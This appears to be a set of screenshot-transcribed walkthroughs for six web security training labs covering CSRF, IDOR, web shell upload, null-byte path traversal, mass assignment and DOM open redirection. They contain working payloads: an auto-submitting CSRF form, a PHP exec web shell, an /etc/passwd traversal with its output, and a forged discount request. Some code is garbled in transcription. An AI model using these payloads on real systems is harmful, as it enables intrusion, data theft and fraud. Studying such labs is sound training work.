

## 1. Lab: CSRF vulnerability with no defenses:

The screenshot shows the 'CSRF PoC generator' interface. At the top, the request URL is `https://0a0800ac0305cb79806bc1460000006d.web-security-academy.net`. The request details are as follows:

- Method: POST
- Path: `/my-account/change-email`
- Host: `0a0800ac0305cb79806bc1460000006d.web-security-academy.net`
- Cookie: `session=n4KlWPW3eGJB64fkCe4Ec1CetFTgrVQY`
- Content-Length: 20
- Cache-Control: `max-age=0`
- Sec-Ch-Ua: `"Chromium";v="121", "Not`

The generated CSRF HTML is shown below:

```
1 <html>
2 <!-- CSRF PoC - generated by Burp Suite Professional -->
3 <body>
4 <form action="https://0a0800ac0305cb79806bc1460000006d.web-security-academy.net"
5 <input type="hidden" name="email" value="test&#33;&#64;asdf" />
6 <input type="submit" value="Submit request" />
7 </form>
8 <script>
9 history.pushState('', '', '/');
10 document.forms[0].submit();
11 </script>
12 </body>
13 </html>
14
```

Buttons at the bottom include 'Regenerate', 'Test in browser', 'Copy HTML', and 'Close'.

## 2. Lab: Insecure direct object references:

Target:

1 GET /download-transcript/525.txt HTTP/2

2 Host: 0a4d0061037c3869818f342a0044002d.web-security-academy.net

3 Content-Disposition: attachment; filename="1.txt"

Payload set:

Payload count: 11

Payload type:

Request count: 11

?

**Payload settings [Numbers]**

This payload type generates numeric payloads within a given range and in

Number range

Type: ☒ Sequential ☐ Random

From:

To:

Step:

How many:

PrettyRawHexRender

1 HTTP/2 200 OK

2 Content-Type: text/plain; charset=utf-8

3 Content-Disposition: attachment; filename="1.txt"

4 X-Frame-Options: SAMEORIGIN

5 Content-Length: 520

6

7 CONNECTED: -- Now chatting with Hal Pline --

8 You: Hi Hal, I think I've forgotten my password and need confirmation that I've got the right one

9 Hal Pline: Sure, no problem, you seem like a nice guy. Just tell me your password and I'll confirm whether it's correct or not.

10 You: Wow you're so nice, thanks. I've heard from other people that you can be a right \*\*\*\*

11 Hal Pline: Takes one to know one

12 You: Ok so my password is oict2okd4i2gwm60qte9. Is that right?

13 Hal Pline: Yes it is!

14 You: Ok thanks, bye!

15 Hal Pline: Do one!

16

Insecure direct object references

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## My Account

Your username is: carlos

Email

[Update email](#)

### 3. Lab: Web shell upload via obfuscated file extension:

```
-----WebKitFormBoundaryMt f5nKKn4tYqlgz4
Content-Disposition: form-data; name="avatar"; filename="exploit.php%00.jpg"
Content-Type: application/x-php

<?php echo exec($_GET['cmd']); ?>
```

#### Request

Pretty Raw Hex

```
1 GET /files/avatars/exploit.php?cmd=cat+/home/carlos/secret HTTP/2
2 Host: 0a1c00ed03fab69381a661c900410053.web-security-academy.net
3 Cookie: session=lu7fAPfdy5krdp5ctMtHpR9Tz24adum
4 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
5 Sec-Ch-Ua-Mobile: ?0
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/121.0.6167.160 Safari/537.36
7 Sec-Ch-Ua-Platform: "Linux"
8 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
```

#### Response

Pretty Raw Hex Render

```
1 HTTP/2 200 OK
2 Date: Sun, 07 Apr 2024 16:26:04 GMT
3 Server: Apache/2.4.41 (Ubuntu)
4 Content-Type: text/html; charset=UTF-8
5 X-Frame-Options: SAMEORIGIN
6 Content-Length: 32
7
8 VVK8pHNR00sj CxHilMBZC01UKNT9hN0
```



#### Web shell upload via obfuscated file extension

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### 4. Lab: File path traversal, validation of file extension with null byte bypass:

Request

PrettyRawHex

```
1 GET /image?filename=../../../../etc/passwd%00.jpg HTTP/2
2 Host: 0a5800720417432982f620c800430026.web-security-academy.net
3 Cookie: session=DEJE7woCL7vSMZfmoLSfMWSdQLcC70
4 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
5 Sec-Ch-Ua-Mobile: ?0
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/121.0.6167.160 Safari/537.36
7 Sec-Ch-Ua-Platform: "Linux"
8 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: no-cors
11 Sec-Fetch-Dest: image
12 Referer: https://0a5800720417432982f620c800430026.web-security-academy.net/product?productId=11
13 Accept-Encoding: gzip, deflate, br
14 Accept-Language: en-US,en;q=0.9
15 Priority: u=1, i
16
17
```

Response

PrettyRawHexRender

```
1 HTTP/2 200 OK
2 Content-Type: image/jpeg
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2316
5
6 root:x:0:0:root:/root:/bin/bash
7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
8 bin:x:2:2:bin:/bin:/usr/sbin/nologin
9 sys:x:3:3:sys:/dev:/usr/sbin/nologin
10 sync:x:4:65534:sync:/bin:/bin/sync
11 games:x:5:60:games:/usr/games:/usr/sbin/nologin
12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
20 list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
22 gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
24 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
25 peter:x:12001:12001:/home/peter:/bin/bash
26 carlos:x:12002:12002:/home/carlos:/bin/bash
27 user:x:12000:12000:/home/user:/bin/bash
28 elmer:x:12099:12099:/home/elmer:/bin/bash
29 academy:x:10000:10000:/academy:/bin/bash
30 messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
32 systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
33 systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
34 systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
35 mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false
36 postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
37 usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
38 rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
```



#### File path traversal, validation of file extension with null byte bypass

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## 5. Lab: Exploiting a mass assignment vulnerability:

```
1 POST /api/checkout HTTP/2
2 Host: 0a23005c04ce88f682f283cd007900ed.web-security-academy.net
3 Cookie: session=Wc1lvyajuz8iFBtOzfN6nXcRMChAqvMt
4 Content-Length: 92
5 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
6 Sec-Ch-Ua-Platform: "Linux"
7 Sec-Ch-Ua-Mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/121.0.6167.160 Safari/537.36
9 Content-Type: text/plain; charset=UTF-8
10 Accept: */*
11 Origin: https://0a23005c04ce88f682f283cd007900ed.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://0a23005c04ce88f682f283cd007900ed.web-security-academy.net/cart
16 Accept-Encoding: gzip, deflate, br
17 Accept-Language: en-US,en;q=0.9
18 Priority: u=1, i
19
20 {
21   "chosen_discount":{
22     "percentage":100
23   },
24   "chosen_products":{
25     {
26       "product_id":"1",
27       "quantity":2
28     }
29   }
30 }
```

```
1 HTTP/2 201 Created
2 Location: /cart/order-confirmation?order-confirmed=true
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 0
5
6
```

### Exploiting a mass assignment vulnerability

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Store credit:  
\$0.00

[Home](#) | [My account](#) |  2

Cart

Not enough store credit for this purchase

Lightweight "I33t" Leather Jacket \$1337.00  2  [Remove](#)

## 6. Lab: DOM-based open redirection:

```
Pretty  Raw  Hex
1 GET /post?postId=3&url=https://exploit-0a4b006c03ab2ec58295780601780075.exploit-server.net
  HTTP/2
2 Host: 0ad0004303b82eef820d79f0006400b5.web-security-academy.net
3 Cookie: session=1P3TiOwvlzUjMgqGtOmBxYLPJrAm5YAh
4 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Linux"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/121.0.6167.160 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=
  0.8,application/signed-exchange;v=b3;q=0.7
0 Sec-Fetch-Site: none
1 Sec-Fetch-Mode: navigate
2 Sec-Fetch-User: ?1
3 Sec-Fetch-Dest: document
4 Accept-Encoding: gzip, deflate, br
5 Accept-Language: en-US,en;q=0.9
6 Priority: u=0, i
```

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DOM-based open redirection

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